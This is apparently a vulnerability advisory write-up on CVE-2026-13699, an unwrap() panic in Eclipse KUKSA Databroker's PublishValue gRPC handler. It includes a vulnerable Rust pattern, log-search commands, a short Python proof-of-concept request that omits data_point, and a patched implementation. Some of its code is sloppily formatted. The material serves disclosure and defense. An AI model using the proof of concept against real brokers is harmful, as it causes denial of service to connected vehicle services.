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How CVE-2026-13699 Works
In Eclipse KUKSA Databroker version 0.6.1, a critical runtime error condition exists within the `kuksa.val.v2.VAL/PublishValue` gRPC handler. This flaw stems from inadequate input validation, specifically the failure to verify the existence of the optional `data_point` field in `PublishValueRequest` messages.
When a client submits a request containing a valid `signal_id` but omits the `data_point` field entirely, the server directly invokes the `unwrap()` method on request.data_point. In Rust, `unwrap()` on an `Option` type that is `None` results in a catastrophic panic. This panic occurs within the asynchronous Tokio worker thread responsible for handling the gRPC call.
Crucially, this vulnerability can only be triggered by clients possessing a valid JWT token. Unauthenticated or invalid-token requests are properly rejected before reaching the vulnerable code path. The resulting panic cancels the individual gRPC call but does not terminate the overall Databroker process, which remains available to handle subsequent requests.
This vulnerability is classified under CWE-20 (Improper Input Validation). The attack vector is network-based, requires low attack complexity, low privileges, and no user interaction. According to the NIST CVSS v3.1 calculator, this vulnerability has a base score of 6.5 (MEDIUM) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. The Eclipse Foundation’s own assessment rates it at 4.3 (MEDIUM) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L. Both assessments confirm the primary impact is on service availability.
DailyCVE Form
Platform: Eclipse KUKSA Databroker
Version: 0.6.1
Vulnerability : Missing data_point validation
Severity: MEDIUM (CVSS 6.5)
date: 2026-07-14
Prediction: 2026-07-14 (0.7.0)
What Undercode Say: Analytics
The vulnerability exists in the gRPC handler that fails to validate optional fields. The following analysis demonstrates the vulnerable code pattern and provides commands to check for exploitation indicators.
Vulnerable Code Pattern (Rust):
// Vulnerable implementation - direct unwrap() without validation
fn handle_publish_value(request: PublishValueRequest) -> Result<()> {
let signal_id = request.signal_id;
// BUG: Direct unwrap on optional field
let data_point = request.data_point.unwrap();
process_signal(signal_id, data_point)
}
Checking for Panic Logs (Bash):
Search for Tokio panic indicators in Databroker logs grep -i "panicked at" /var/log/kuksa/databroker.log grep -i "unwrap() called on `None` value" /var/log/kuksa/databroker.log grep -i "thread 'tokio-runtime-worker' panicked" /var/log/kuksa/databroker.log
Checking Databroker Version:
Identify the running version of Eclipse KUKSA Databroker kuksa-databroker --version Or check package version dpkg -l | grep kuksa
Monitoring gRPC Call Failures:
Monitor for increased gRPC call cancellations curl -s http://localhost:9090/metrics | grep -E "grpc_server_handled|grpc_server_handling"
Exploit
An attacker with a valid JWT token can exploit this vulnerability by sending a malformed `PublishValueRequest` gRPC message. The request must contain a legitimate `signal_id` but must omit the `data_point` field entirely.
Example gRPC Request (Conceptual):
message PublishValueRequest {
string signal_id = 1;
// data_point field is intentionally omitted
// DataPoint data_point = 2; <-- MISSING
}
Python Exploit Snippet (using grpcio):
import grpc
from kuksa_pb2 import PublishValueRequest
Assume valid JWT token and channel
token = "eyJhbGciOiJIUzI1NiIs..."
metadata = [('authorization', f'Bearer {token}')]
Craft malformed request - valid signal_id, no data_point
request = PublishValueRequest()
request.signal_id = "Vehicle.Speed"
try:
Send request to vulnerable endpoint
response = stub.PublishValue(request, metadata=metadata)
except grpc.RpcError as e:
Server will panic and cancel the call
print(f"Call cancelled due to panic: {e.code()}")
The server will panic in the Tokio worker thread, cancelling the gRPC call and returning an error to the client. While the Databroker process itself does not terminate, repeated exploitation can lead to a sustained denial-of-service condition for the `PublishValue` endpoint.
Protection
1. Upgrade to Patched Version:
The vulnerability has been addressed in Eclipse KUKSA Databroker version 0.7.0 and later. Users are strongly advised to upgrade immediately.
2. Input Validation Fix (Code-Level):
The vulnerable `unwrap()` call must be replaced with proper optional field handling:
// Secure implementation - proper validation of optional field
fn handle_publish_value(request: PublishValueRequest) -> Result<()> {
let signal_id = request.signal_id;
// SAFE: Use match or ? operator instead of unwrap()
let data_point = match request.data_point {
Some(dp) => dp,
None => return Err(Status::invalid_argument("data_point field is required")),
};
process_signal(signal_id, data_point)
}
3. Network-Level Mitigation:
- Restrict access to the gRPC endpoint to trusted clients only.
- Implement rate limiting on the `PublishValue` endpoint to reduce the impact of repeated exploitation attempts.
4. Monitoring and Detection:
- Monitor logs for `panicked at` or
unwrap() called on \None` value` messages. - Set up alerts for sudden increases in gRPC call cancellations.
- Implement panic recovery mechanisms to prevent individual call failures from impacting overall service availability.
Impact
- Availability: The primary impact is a denial-of-service condition affecting the `PublishValue` gRPC endpoint. Repeated exploitation can render this specific service call unavailable.
- Partial Service Disruption: While the Databroker process remains operational, the panic cancels the individual gRPC call, potentially leading to cascading failures if multiple concurrent requests trigger the vulnerability.
- Exploitation Requirements: The attack requires a valid JWT token, making it accessible to any authenticated client. This eliminates the need for authentication bypass techniques and makes it particularly dangerous in environments where token leakage or unauthorized access may occur.
- Systemic Risk: Although the vulnerability does not cause a full system crash, it represents a classic example of improper input validation in network services. It aligns with CWE-476 (NULL Pointer Dereference) and ATT&CK technique T1499.004 for Network Denial of Service.
- Remediation Timeline: The vulnerability was published on July 14, 2026, and a patch is available in version 0.7.0. Immediate upgrade is recommended to mitigate the risk.
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Sources:
Reported By: nvd.nist.gov
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